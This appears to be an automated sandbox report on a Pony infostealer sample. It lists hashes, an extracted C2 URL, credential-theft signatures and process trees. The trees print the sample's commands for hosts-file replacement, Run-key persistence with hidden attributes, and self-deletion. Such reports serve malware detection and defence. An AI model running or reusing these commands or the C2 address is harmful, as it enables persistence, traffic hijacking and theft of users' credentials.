Analysis
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max time kernel
119s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
24-10-2024 12:44
Static task
static1
Behavioral task
behavioral1
Sample
73cb2d12f37086071c08f340e666b2a9_JaffaCakes118.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
73cb2d12f37086071c08f340e666b2a9_JaffaCakes118.exe
Resource
win10v2004-20241007-en
General
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Target
73cb2d12f37086071c08f340e666b2a9_JaffaCakes118.exe
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Size
60KB
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MD5
73cb2d12f37086071c08f340e666b2a9
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SHA1
bd5a0bd73512e74b4f4d59070ba59f4a3925ed81
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SHA256
dbb7bd63f4a28471afa932c5469be56a4581b7b5c2962b39ff4e6bc1995addfe
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SHA512
0184fcc624c6bea3d508fb40f77c4a18af43f694183e51df02692bb8e6498a27e7e34450728ce1fffdac590ceb61b83f0dec3bfca892c5ae38e68fc25af1e986
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SSDEEP
1536:6gK2fzq+5hRpfv+7IwIUXp2+uAvyh97N/CtfNXUWSVOTdLo7Qj:6wLwIUXJuAvZvEWwMEQ
Malware Config
Extracted
pony
http://laxidline.info:9135/fly.php
Signatures
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Drops file in Drivers directory 3 IoCs
description ioc Process File created C:\Windows\system32\drivers\etc\test 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe File created C:\Windows\system32\drivers\etc\hosts.sam cmd.exe File opened for modification C:\Windows\system32\drivers\etc\hosts.sam cmd.exe -
Deletes itself 1 IoCs
pid Process 2860 cmd.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
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Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
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Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\259441768 = "cmd.exe /c copy C:\\Users\\Admin\\AppData\\Local\\Temp\\259441674FdOh C:\\Windows\\system32\\drivers\\etc\\hosts /Y && attrib +H C:\\Windows\\system32\\drivers\\etc\\hosts /f" reg.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs
pid Process 1280 cmd.exe 2688 reg.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2100 set thread context of 2080 2100 73cb2d12f37086071c08f340e666b2a9_JaffaCakes118.exe 30 -
resource yara_rule behavioral1/memory/2080-2-0x0000000000400000-0x000000000041B000-memory.dmp upx behavioral1/memory/2080-4-0x0000000000400000-0x000000000041B000-memory.dmp upx behavioral1/memory/2080-10-0x0000000000400000-0x000000000041B000-memory.dmp upx behavioral1/memory/2080-12-0x0000000000400000-0x000000000041B000-memory.dmp upx behavioral1/memory/2080-9-0x0000000000400000-0x000000000041B000-memory.dmp upx behavioral1/memory/2080-7-0x0000000000400000-0x000000000041B000-memory.dmp upx behavioral1/memory/2080-16-0x0000000000400000-0x000000000041B000-memory.dmp upx behavioral1/memory/2080-22-0x0000000000400000-0x000000000041B000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PING.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 73cb2d12f37086071c08f340e666b2a9_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language at.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 2860 cmd.exe 2660 PING.EXE -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2660 PING.EXE -
Suspicious use of AdjustPrivilegeToken 32 IoCs
description pid Process Token: SeImpersonatePrivilege 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe Token: SeTcbPrivilege 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe Token: SeChangeNotifyPrivilege 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe Token: SeCreateTokenPrivilege 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe Token: SeBackupPrivilege 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe Token: SeRestorePrivilege 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe Token: SeIncreaseQuotaPrivilege 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe Token: SeAssignPrimaryTokenPrivilege 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe Token: SeImpersonatePrivilege 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe Token: SeTcbPrivilege 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe Token: SeChangeNotifyPrivilege 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe Token: SeCreateTokenPrivilege 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe Token: SeBackupPrivilege 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe Token: SeRestorePrivilege 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe Token: SeIncreaseQuotaPrivilege 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe Token: SeAssignPrimaryTokenPrivilege 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe Token: SeImpersonatePrivilege 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe Token: SeTcbPrivilege 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe Token: SeChangeNotifyPrivilege 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe Token: SeCreateTokenPrivilege 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe Token: SeBackupPrivilege 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe Token: SeRestorePrivilege 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe Token: SeIncreaseQuotaPrivilege 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe Token: SeAssignPrimaryTokenPrivilege 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe Token: SeImpersonatePrivilege 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe Token: SeTcbPrivilege 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe Token: SeChangeNotifyPrivilege 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe Token: SeCreateTokenPrivilege 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe Token: SeBackupPrivilege 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe Token: SeRestorePrivilege 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe Token: SeIncreaseQuotaPrivilege 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe Token: SeAssignPrimaryTokenPrivilege 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe -
Suspicious use of WriteProcessMemory 32 IoCs
description pid Process procid_target PID 2100 wrote to memory of 2080 2100 73cb2d12f37086071c08f340e666b2a9_JaffaCakes118.exe 30 PID 2100 wrote to memory of 2080 2100 73cb2d12f37086071c08f340e666b2a9_JaffaCakes118.exe 30 PID 2100 wrote to memory of 2080 2100 73cb2d12f37086071c08f340e666b2a9_JaffaCakes118.exe 30 PID 2100 wrote to memory of 2080 2100 73cb2d12f37086071c08f340e666b2a9_JaffaCakes118.exe 30 PID 2100 wrote to memory of 2080 2100 73cb2d12f37086071c08f340e666b2a9_JaffaCakes118.exe 30 PID 2100 wrote to memory of 2080 2100 73cb2d12f37086071c08f340e666b2a9_JaffaCakes118.exe 30 PID 2100 wrote to memory of 2080 2100 73cb2d12f37086071c08f340e666b2a9_JaffaCakes118.exe 30 PID 2100 wrote to memory of 2080 2100 73cb2d12f37086071c08f340e666b2a9_JaffaCakes118.exe 30 PID 2080 wrote to memory of 2340 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe 31 PID 2080 wrote to memory of 2340 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe 31 PID 2080 wrote to memory of 2340 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe 31 PID 2080 wrote to memory of 2340 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe 31 PID 2080 wrote to memory of 1280 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe 32 PID 2080 wrote to memory of 1280 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe 32 PID 2080 wrote to memory of 1280 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe 32 PID 2080 wrote to memory of 1280 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe 32 PID 2340 wrote to memory of 2208 2340 cmd.exe 35 PID 2340 wrote to memory of 2208 2340 cmd.exe 35 PID 2340 wrote to memory of 2208 2340 cmd.exe 35 PID 2340 wrote to memory of 2208 2340 cmd.exe 35 PID 1280 wrote to memory of 2688 1280 cmd.exe 36 PID 1280 wrote to memory of 2688 1280 cmd.exe 36 PID 1280 wrote to memory of 2688 1280 cmd.exe 36 PID 1280 wrote to memory of 2688 1280 cmd.exe 36 PID 2080 wrote to memory of 2860 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe 38 PID 2080 wrote to memory of 2860 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe 38 PID 2080 wrote to memory of 2860 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe 38 PID 2080 wrote to memory of 2860 2080 73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe 38 PID 2860 wrote to memory of 2660 2860 cmd.exe 40 PID 2860 wrote to memory of 2660 2860 cmd.exe 40 PID 2860 wrote to memory of 2660 2860 cmd.exe 40 PID 2860 wrote to memory of 2660 2860 cmd.exe 40
Processes
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C:\Users\Admin\AppData\Local\Temp\73cb2d12f37086071c08f340e666b2a9_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\73cb2d12f37086071c08f340e666b2a9_JaffaCakes118.exe"1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2100 -
\??\c:\users\admin\appdata\local\temp\73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe"c:\users\admin\appdata\local\temp\73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe"2⤵
- Drops file in Drivers directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2080 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy %WINDIR%\system32\drivers\etc\hosts %WINDIR%\system32\drivers\etc\hosts.sam /Y && at 14:57:00 cmd.exe /c copy %TEMP%\259441674FdOh %WINDIR%\system32\drivers\etc\hosts /Y3⤵
- Drops file in Drivers directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2340 -
C:\Windows\SysWOW64\at.exeat 14:57:00 cmd.exe /c copy C:\Users\Admin\AppData\Local\Temp\259441674FdOh C:\Windows\system32\drivers\etc\hosts /Y4⤵
- System Location Discovery: System Language Discovery
PID:2208
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\windows\CurrentVersion\Run /v 259441768 /t REG_SZ /d "cmd.exe /c copy %TEMP%\259441674FdOh %WINDIR%\system32\drivers\etc\hosts /Y && attrib +H %WINDIR%\system32\drivers\etc\hosts /f3⤵
- Hide Artifacts: Hidden Files and Directories
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1280 -
C:\Windows\SysWOW64\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\windows\CurrentVersion\Run /v 259441768 /t REG_SZ /d "cmd.exe /c copy C:\Users\Admin\AppData\Local\Temp\259441674FdOh C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts /f4⤵
- Adds Run key to start application
- Hide Artifacts: Hidden Files and Directories
- System Location Discovery: System Language Discovery
PID:2688
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping -n 10 127.0.0.1 > NUL && del "c:\users\admin\appdata\local\temp\73cb2d12f37086071c08f340e666b2a9_jaffacakes118.exe"3⤵
- Deletes itself
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:2860 -
C:\Windows\SysWOW64\PING.EXEping -n 10 127.0.0.14⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:2660
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Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Modify Registry
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
3